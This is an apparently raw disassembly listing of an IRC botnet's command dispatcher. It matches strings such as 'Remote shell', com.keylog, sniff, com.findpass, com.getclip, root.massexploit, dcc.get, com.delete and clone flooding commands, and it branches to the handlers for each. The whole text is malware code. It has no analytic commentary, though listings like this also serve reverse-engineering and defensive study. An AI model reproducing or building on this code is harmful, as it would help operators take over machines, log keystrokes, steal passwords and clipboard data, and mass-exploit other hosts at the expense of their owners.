		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4105A2
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_4105A2:				; CODE XREF: sub_40EE51+1737j
		push	edi		; Str2
		push	offset aIrc_who	; "irc.who"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41062F
		cmp	[ebp+var_8], ebx
		jnz	short loc_4105D2
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h


loc_4105D2:				; CODE XREF: sub_40EE51+1765j
		mov	edi, [ebp+Str1]
		xor	esi, esi


loc_4105D7:				; CODE XREF: sub_40EE51+17CCj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_4105E3
		mov	eax, offset aEmpty ; "<Empty>"


loc_4105E3:				; CODE XREF: sub_40EE51+178Bj
		push	eax
		push	esi
		lea	eax, [ebp+Dst]
		push	offset aD_S	; "%d. %s"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4105D7
		push	offset dword_436E2C


loc_410624:				; CODE XREF: sub_40EE51+5C3Aj
		call	sub_40BF6F
		pop	ecx
		jmp	loc_414F3C
; ---------------------------------------------------------------------------


loc_41062F:				; CODE XREF: sub_40EE51+1760j
		push	edi		; Str2
		push	offset aCom_getclip ; "com.getclip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414540
		push	edi		; Str2
		push	offset aCom_gc	; "com.gc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414540
		push	edi		; Str2
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414515
		push	edi		; Str2
		push	offset aUtil_farp ; "util.farp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414515
		push	edi		; Str2
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F1
		push	edi		; Str2
		push	offset aUtil_fdns ; "util.fdns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F1
		push	edi		; Str2
		push	offset aRoot_currentip ; "root.currentip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144B4
		push	edi		; Str2
		push	offset aRoot_cip ; "root.cip"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144B4
		push	edi		; Str2
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414366
		push	edi		; Str2
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414366
		push	edi		; Str2
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4141F0
		push	edi		; Str2
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4141F0
		push	edi		; Str2
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140B2
		push	edi		; Str2
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140B2
		push	edi		; Str2
		push	offset aCom_findpass ; "com.findpass"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41400B
		push	edi		; Str2
		push	offset aCom_fp	; "com.fp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41400B
		push	edi		; Str2
		push	offset aRoot_massexplo ; "root.massexploit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D0C
		push	edi		; Str2
		push	offset aRoot_mass ; "root.mass"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D0C
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F215
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_nick ; "irc.nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CF3
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_n	; "irc.n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CF3
		push	[ebp+arg_8]	; Str2
		push	offset aDsho	; "dsho"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CD3
		push	[ebp+arg_8]	; Str2
		push	offset aDsho	; "dsho"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CD3
		push	[ebp+arg_8]	; Str2
		push	offset aBara	; "bara"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CBA
		push	[ebp+arg_8]	; Str2
		push	offset aBara	; "bara"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CBA
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_raw	; "irc.raw"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413C83
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_ra	; "irc.ra"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413C83
		push	[ebp+arg_8]	; Str2
		push	offset aThreads_kill ; "threads.kill"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BB1
		push	[ebp+arg_8]	; Str2
		push	offset aThreads_k ; "threads.k"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BB1
		push	[ebp+arg_8]	; Str2
		push	offset aClone_quit ; "clone.quit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B08
		push	[ebp+arg_8]	; Str2
		push	offset aClone_q	; "clone.q"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B08
		push	[ebp+arg_8]	; Str2
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ABD
		push	[ebp+arg_8]	; Str2
		push	offset aClone_rn ; "clone.rn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ABD
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_prefix ; "irc.prefix"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA8
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_pr	; "irc.pr"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA8
		push	[ebp+arg_8]	; Str2
		push	offset aCom_open ; "com.open"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A7E
		push	[ebp+arg_8]	; Str2
		push	offset aCom_o	; "com.o"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A7E
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_setserve ; "irc.setserve"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A59
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_se	; "irc.se"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A59
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_dns	; "irc.dns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139C7
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_dn	; "irc.dn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139C7
		push	[ebp+arg_8]	; Str2
		push	offset aCom_killprocna ; "com.killprocname"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41399B
		push	[ebp+arg_8]	; Str2
		push	offset aCom_kpn	; "com.kpn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41399B
		push	[ebp+arg_8]	; Str2
		push	offset aCom_prockillid ; "com.prockillid"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413940
		push	[ebp+arg_8]	; Str2
		push	offset aCom_pkid ; "com.pkid"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413940
		push	[ebp+arg_8]	; Str2
		push	offset aCom_delete ; "com.delete"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413909
		push	[ebp+arg_8]	; Str2
		push	offset aCom_del	; "com.del"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413909
		push	[ebp+arg_8]	; Str2
		push	offset aDcc_get	; "dcc.get"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413828
		push	[ebp+arg_8]	; Str2
		push	offset aDcc_gt	; "dcc.gt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413828
		push	[ebp+arg_8]	; Str2
		push	offset aCom_filelist ; "com.filelist"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41380D
		push	[ebp+arg_8]	; Str2
		push	offset aCom_fl	; "com.fl"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41380D
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_visit ; "irc.visit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41372F
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_v	; "irc.v"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41372F
		push	[ebp+arg_8]	; Str2
		push	offset aMirc_cmd ; "mirc.cmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136F4
		push	[ebp+arg_8]	; Str2
		push	offset aMirc_cmd ; "mirc.cmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136F4
		push	[ebp+arg_8]	; Str2
		push	offset aCom_cmd	; "com.cmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136A9
		push	[ebp+arg_8]	; Str2
		push	offset aCom_cm	; "com.cm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136A9
		push	[ebp+arg_8]	; Str2
		push	offset aCom_readfile ; "com.readfile"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413624
		push	[ebp+arg_8]	; Str2
		push	offset aCom_rf	; "com.rf"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413624
		push	[ebp+arg_8]	; Str2
		push	offset aSniff	; "sniff"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C9A
		push	edi		; Str2
		push	offset aOn	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C65
		push	19h
		call	sub_416F90
		test	eax, eax
		pop	ecx
		jle	short loc_410B92
		push	offset unk_436B60
		jmp	loc_410D06
; ---------------------------------------------------------------------------


loc_410B92:				; CODE XREF: sub_40EE51+1D35j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_410BD4
		mov	esi, offset aS_3 ; "#!S#"
		push	offset byte_4397BC ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410BD4
		mov	esi, [ebp+Format]


loc_410BD4:				; CODE XREF: sub_40EE51+1D65j
					; sub_40EE51+1D7Bj
		push	esi		; Format
		lea	eax, [ebp+var_4EC]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+Dst]
		push	offset unk_436B20 ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	19h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 20h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_40267F
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_410C54


loc_410C3E:				; CODE XREF: sub_40EE51+1E01j
		cmp	[ebp+var_460], ebx
		jnz	loc_410E22
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_410C3E
; ---------------------------------------------------------------------------


loc_410C54:				; CODE XREF: sub_40EE51+1DEBj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436AD4
		jmp	loc_410E13
; ---------------------------------------------------------------------------


loc_410C65:				; CODE XREF: sub_40EE51+1D25j
		push	edi		; Str2
		push	offset aOff	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E22
		push	ebx
		push	19h
		call	sub_416F43
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410C93
		push	eax
		push	offset unk_436A88
		jmp	loc_410E13
; ---------------------------------------------------------------------------


loc_410C93:				; CODE XREF: sub_40EE51+1E35j
		push	offset unk_436A50
		jmp	short loc_410D06
; ---------------------------------------------------------------------------


loc_410C9A:				; CODE XREF: sub_40EE51+1D10j
		push	[ebp+arg_8]	; Str2
		push	offset aCom_keylog ; "com.keylog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E4C
		push	edi		; Str2
		push	offset aOn	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D19
		push	edi		; Str2
		push	offset aFile	; "file"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D19
		push	edi		; Str2
		push	offset aOff	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E22
		push	ebx
		push	1Bh
		call	sub_416F43
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410D01
		push	eax
		push	offset unk_4369F8
		jmp	loc_410E13
; ---------------------------------------------------------------------------


loc_410D01:				; CODE XREF: sub_40EE51+1EA3j
		push	offset unk_4369BC ; Format


loc_410D06:				; CODE XREF: sub_40EE51+1D3Cj
					; sub_40EE51+1E47j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410D19:				; CODE XREF: sub_40EE51+1E6Fj
					; sub_40EE51+1E80j
		push	1Bh
		call	sub_416F90
		test	eax, eax
		pop	ecx
		jle	short loc_410D2C
		push	offset unk_43698C
		jmp	short loc_410D06
; ---------------------------------------------------------------------------


loc_410D2C:				; CODE XREF: sub_40EE51+1ED2j
		mov	eax, [ebp+arg_4]
		push	edi		; Str2
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D5B
		mov	[ebp+var_464], 1
		jmp	short loc_410D64
; ---------------------------------------------------------------------------


loc_410D5B:				; CODE XREF: sub_40EE51+1EFCj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax


loc_410D64:				; CODE XREF: sub_40EE51+1F08j
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jnz	short loc_410D8B
		mov	esi, offset aS_4 ; "#!S#"
		push	offset byte_4397BC ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D8B
		mov	esi, [ebp+Format]


loc_410D8B:				; CODE XREF: sub_40EE51+1F1Cj
					; sub_40EE51+1F32j
		push	esi		; Format
		lea	eax, [ebp+var_4E8]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+Dst]
		push	offset unk_43695C ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Bh		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 20h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_40239E
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_410E07


loc_410DF5:				; CODE XREF: sub_40EE51+1FB4j
		cmp	[ebp+var_460], ebx
		jnz	short loc_410E22
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_410DF5
; ---------------------------------------------------------------------------


loc_410E07:				; CODE XREF: sub_40EE51+1FA2j
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436910 ; Format


loc_410E13:				; CODE XREF: sub_40EE51+1E0Fj
					; sub_40EE51+1E3Dj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_410E22:				; CODE XREF: sub_40EE51+1DF3j
					; sub_40EE51+1E23j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F7F5
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h
		jmp	loc_40F7F5
; ---------------------------------------------------------------------------


loc_410E4C:				; CODE XREF: sub_40EE51+1E5Aj
		push	[ebp+arg_8]	; Str2
		push	offset aCom_net	; "com.net"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41111D
		cmp	ds:dword_43C6E8, ebx
		jz	short loc_410E7D
		cmp	ds:dword_43C710, ebx
		jz	short loc_410E7D
		push	offset dword_4368C0
		jmp	loc_4110D7
; ---------------------------------------------------------------------------


loc_410E7D:				; CODE XREF: sub_40EE51+2018j
					; sub_40EE51+2020j
		cmp	[ebp+var_C], ebx
		jz	loc_4110E5
		mov	eax, [ebp+esi+Format]
		mov	[ebp+Src], ebx
		cmp	eax, ebx
		mov	[ebp+Str1], eax
		jz	short loc_410EA5
		push	eax		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		mov	[ebp+Src], eax
		pop	ecx


loc_410EA5:				; CODE XREF: sub_40EE51+2044j
		push	edi		; Str2
		push	offset aStart	; "start"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F0B
		cmp	[ebp+Str1], ebx
		jz	short loc_410EDF
		push	[ebp+Src]
		push	3


loc_410EC0:				; CODE XREF: sub_40EE51+20D0j
					; sub_40EE51+20E8j ...
		call	sub_40D70B
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_1	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	loc_4110E5
; ---------------------------------------------------------------------------


loc_410EDF:				; CODE XREF: sub_40EE51+2068j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D9B2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410F01
		push	offset dword_43688C
		jmp	loc_4110D7
; ---------------------------------------------------------------------------


loc_410F01:				; CODE XREF: sub_40EE51+20A4j
		push	offset dword_43685C
		jmp	loc_4110D7
; ---------------------------------------------------------------------------


loc_410F0B:				; CODE XREF: sub_40EE51+2063j
		push	edi		; Str2
		push	offset aStop	; "stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F23
		push	[ebp+Src]
		push	4
		jmp	short loc_410EC0
; ---------------------------------------------------------------------------


loc_410F23:				; CODE XREF: sub_40EE51+20C9j
		push	edi		; Str2
		push	offset aPause	; "pause"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F3B
		push	[ebp+Src]
		push	5
		jmp	short loc_410EC0
; ---------------------------------------------------------------------------


loc_410F3B:				; CODE XREF: sub_40EE51+20E1j
		push	edi		; Str2
		push	offset aContinue ; "continue"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F56
		push	[ebp+Src]
		push	6
		jmp	loc_410EC0
; ---------------------------------------------------------------------------


loc_410F56:				; CODE XREF: sub_40EE51+20F9j
		push	edi		; Str2
		push	offset aDelete	; "delete"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F71
		push	[ebp+Src]
		push	1
		jmp	loc_410EC0
; ---------------------------------------------------------------------------


loc_410F71:				; CODE XREF: sub_40EE51+2114j
		push	edi		; Str2
		push	offset aShare	; "share"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FEE
		cmp	[ebp+Str1], ebx
		jz	short loc_410FC1
		cmp	[ebp+var_9C4], bl
		jz	short loc_410F97
		push	ebx
		push	[ebp+Str1]
		push	1
		jmp	short loc_410FA2
; ---------------------------------------------------------------------------


loc_410F97:				; CODE XREF: sub_40EE51+213Cj
		push	[ebp+esi+var_88] ; int
		push	[ebp+Str1]	; Str
		push	ebx		; int


loc_410FA2:				; CODE XREF: sub_40EE51+2144j
		call	sub_40DAEF
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_1	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	loc_4110E5
; ---------------------------------------------------------------------------


loc_410FC1:				; CODE XREF: sub_40EE51+2134j
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40DCE4
		add	esp, 10h
		test	eax, eax
		jz	short loc_410FE4
		push	offset dword_43680C
		jmp	loc_4110D7
; ---------------------------------------------------------------------------


loc_410FE4:				; CODE XREF: sub_40EE51+2187j
		push	offset dword_4367DC
		jmp	loc_4110D7
; ---------------------------------------------------------------------------


loc_410FEE:				; CODE XREF: sub_40EE51+212Fj
		push	edi		; Str2
		push	offset aUser	; "user"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41108A
		mov	eax, [ebp+Str1]
		cmp	eax, ebx
		jz	short loc_411063
		cmp	[ebp+var_9C4], bl
		jz	short loc_411024
		push	[ebp+var_4]
		push	[ebp+Format]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_411044
; ---------------------------------------------------------------------------


loc_411024:				; CODE XREF: sub_40EE51+21BFj
		push	[ebp+var_4]	; int
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		jz	short loc_411040
		push	esi
		push	eax
		push	ebx
		jmp	short loc_411044
; ---------------------------------------------------------------------------


loc_411040:				; CODE XREF: sub_40EE51+21E8j
		push	ebx		; int
		push	eax		; int
		push	2		; int


loc_411044:				; CODE XREF: sub_40EE51+21D1j
					; sub_40EE51+21EDj
		call	sub_40DE05
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_1	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		jmp	loc_4110E5
; ---------------------------------------------------------------------------


loc_411063:				; CODE XREF: sub_40EE51+21B7j
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40E319
		add	esp, 10h
		test	eax, eax
		jz	short loc_411083
		push	offset dword_4367A4
		jmp	short loc_4110D7
; ---------------------------------------------------------------------------


loc_411083:				; CODE XREF: sub_40EE51+2229j
		push	offset dword_436778
		jmp	short loc_4110D7
; ---------------------------------------------------------------------------


loc_41108A:				; CODE XREF: sub_40EE51+21ACj
		push	edi		; Str2
		push	offset aSend	; "send"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4110D2
		cmp	[ebp+Str1], ebx
		jz	short loc_4110CB
		push	[ebp+var_4]
		push	[ebp+Format]
		push	[ebp+arg_4]
		push	[ebp+Src]	; Source
		call	sub_40E5CD
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aS_1	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		jmp	short loc_4110E5
; ---------------------------------------------------------------------------


loc_4110CB:				; CODE XREF: sub_40EE51+224Dj
		push	offset dword_436748
		jmp	short loc_4110D7
; ---------------------------------------------------------------------------


loc_4110D2:				; CODE XREF: sub_40EE51+2248j
		push	offset dword_43671C ; Format


loc_4110D7:				; CODE XREF: sub_40EE51+2027j
					; sub_40EE51+20ABj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4110E5:				; CODE XREF: sub_40EE51+202Fj
					; sub_40EE51+2089j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_411106
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 14h


loc_411106:				; CODE XREF: sub_40EE51+2297j
					; sub_40EE51+4848j ...
		mov	esi, [ebp+File]


loc_411109:				; CODE XREF: sub_40EE51+9A7j
					; sub_40EE51+4B23j ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40BF6F
		pop	ecx
		mov	eax, esi
		jmp	loc_40F218
; ---------------------------------------------------------------------------


loc_41111D:				; CODE XREF: sub_40EE51+200Cj
		push	[ebp+arg_8]	; Str2
		push	offset aCom_capture ; "com.capture"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4133E1
		push	[ebp+arg_8]	; Str2
		push	offset aCom_cap	; "com.cap"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4133E1
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_gethost ; "irc.gethost"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132FD
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_gh	; "irc.gh"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132FD
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		mov	[ebp+Str1], eax
		jz	loc_40F215
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_addalias ; "irc.addalias"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132BE
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_aa	; "irc.aa"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132BE
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41326B
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_pm	; "irc.pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41326B
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_action ; "irc.action"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131FD
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_ac	; "irc.ac"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131FD
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_cycle ; "irc.cycle"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41319A
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_cy	; "irc.cy"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41319A
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_mode ; "irc.mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41315B
		push	[ebp+arg_8]	; Str2
		push	offset aIrc_m	; "irc.m"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41315B
		push	[ebp+arg_8]	; Str2
		push	offset aClone_raw ; "clone.raw"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4130F0
		push	[ebp+arg_8]	; Str2
		push	offset aClone_ra ; "clone.ra"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4130F0
		push	[ebp+arg_8]	; Str2
		push	offset aClone_mode ; "clone.mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41306E
